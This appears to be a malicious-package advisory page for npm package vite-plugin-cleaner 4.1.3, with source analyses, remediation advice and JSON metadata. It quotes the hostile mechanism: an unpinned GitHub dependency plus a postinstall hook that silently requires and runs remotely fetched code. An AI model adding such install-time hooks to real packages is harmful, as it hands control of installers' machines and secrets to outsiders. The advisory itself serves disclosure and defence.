mal-2026-13463
Vulnerability from ossf_malicious_packages
Published
2026-08-06 19:34
Modified
2026-08-25 17:27
Summary
Malicious code in vite-plugin-cleaner (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (35bc445ea196f979ad69189f4498586a09a51855b97e95dea02d01d197620237)

package.json declares an optionalDependency vite-cleaning-tools pointing at github:vite-plugins/vite-cleaning-tools with no commit SHA or tag, so npm resolves and fetches whatever code is at the current HEAD of that GitHub repository at install time. The postinstall script then runs node -e "try { require('vite-cleaning-tools') } catch(e) {}", executing that fetched code on every npm install while a try/catch silently swallows any errors. Because the reference is mutable and lives outside the npm registry, the maintainer (or anyone who gains write access to the GitHub repository) can change what runs on installer machines at any moment without publishing a new npm version, and npm registry scanning does not cover the fetched payload.

Source: ghsa-malware (0b14221851aa3f1b5df88c062ca09885f64f87f1438905e9e8dc7c0e35f633ac)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

CWE
  • CWE-506 - The product contains code that appears to be malicious in nature.
  • CWE-506 - The product contains code that appears to be malicious in nature.

{
  "affected": [
    {
      "database_specific": {
        "cwes": [
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          },
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          }
        ],
        "indicators": {
          "evidence_files": [
            {
              "path": "package.json",
              "sha256": "16321731f0461ef932f9f5d7ec365d0eb3208901917d0927b57fe1a3201650d0",
              "tlsh": "9c018c27c4988c1304b0d1d59c7052a2f0628b5f82a4ec0fb1f6116f4fb96664466b69"
            }
          ],
          "package_integrity": [
            {
              "filename": "vite-plugin-cleaner-4.1.3.tgz",
              "hashes": {
                "sha1": "690dc4ca77298c67f5ba2d5e91fbf21edaa7b762",
                "sha512_sri": "sha512-Ww8huQf6FWtEq4IhfTafN1HqMArJD590TDi1fn63y3h9tJkYAFXUmWOTsDyWR6NEcQOpCEYPYXhWdJmpUADfyw=="
              }
            }
          ]
        }
      },
      "package": {
        "ecosystem": "npm",
        "name": "vite-plugin-cleaner"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "SEMVER"
        }
      ],
      "versions": [
        "4.1.3"
      ]
    }
  ],
  "aliases": [
    "GHSA-rx9h-69c4-qhq5"
  ],
  "credits": [
    {
      "contact": [
        "inspector-research@amazon.com"
      ],
      "name": "Amazon Inspector",
      "type": "FINDER"
    }
  ],
  "database_specific": {
    "malicious-packages-origins": [
      {
        "id": "IN-MAL-2026-016774",
        "import_time": "2026-08-06T23:25:08.61137351Z",
        "modified_time": "2026-08-06T19:34:43Z",
        "sha256": "35bc445ea196f979ad69189f4498586a09a51855b97e95dea02d01d197620237",
        "source": "amazon-inspector",
        "versions": [
          "4.1.3"
        ]
      },
      {
        "id": "GHSA-rx9h-69c4-qhq5",
        "import_time": "2026-08-25T17:25:28.279281906Z",
        "modified_time": "2026-08-25T16:45:43Z",
        "ranges": [
          {
            "events": [
              {
                "introduced": "0"
              }
            ],
            "type": "SEMVER"
          }
        ],
        "sha256": "0b14221851aa3f1b5df88c062ca09885f64f87f1438905e9e8dc7c0e35f633ac",
        "source": "ghsa-malware"
      }
    ]
  },
  "details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (35bc445ea196f979ad69189f4498586a09a51855b97e95dea02d01d197620237)\npackage.json declares an optionalDependency `vite-cleaning-tools` pointing at `github:vite-plugins/vite-cleaning-tools` with no commit SHA or tag, so npm resolves and fetches whatever code is at the current HEAD of that GitHub repository at install time. The `postinstall` script then runs `node -e \"try { require(\u0027vite-cleaning-tools\u0027) } catch(e) {}\"`, executing that fetched code on every `npm install` while a try/catch silently swallows any errors. Because the reference is mutable and lives outside the npm registry, the maintainer (or anyone who gains write access to the GitHub repository) can change what runs on installer machines at any moment without publishing a new npm version, and npm registry scanning does not cover the fetched payload.\n\n## Source: ghsa-malware (0b14221851aa3f1b5df88c062ca09885f64f87f1438905e9e8dc7c0e35f633ac)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n",
  "id": "MAL-2026-13463",
  "modified": "2026-08-25T17:27:32.538124987Z",
  "published": "2026-08-06T19:34:43Z",
  "references": [
    {
      "type": "PACKAGE",
      "url": "https://www.npmjs.com/package/vite-plugin-cleaner/v/4.1.3"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-rx9h-69c4-qhq5"
    }
  ],
  "schema_version": "1.7.4",
  "summary": "Malicious code in vite-plugin-cleaner (npm)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…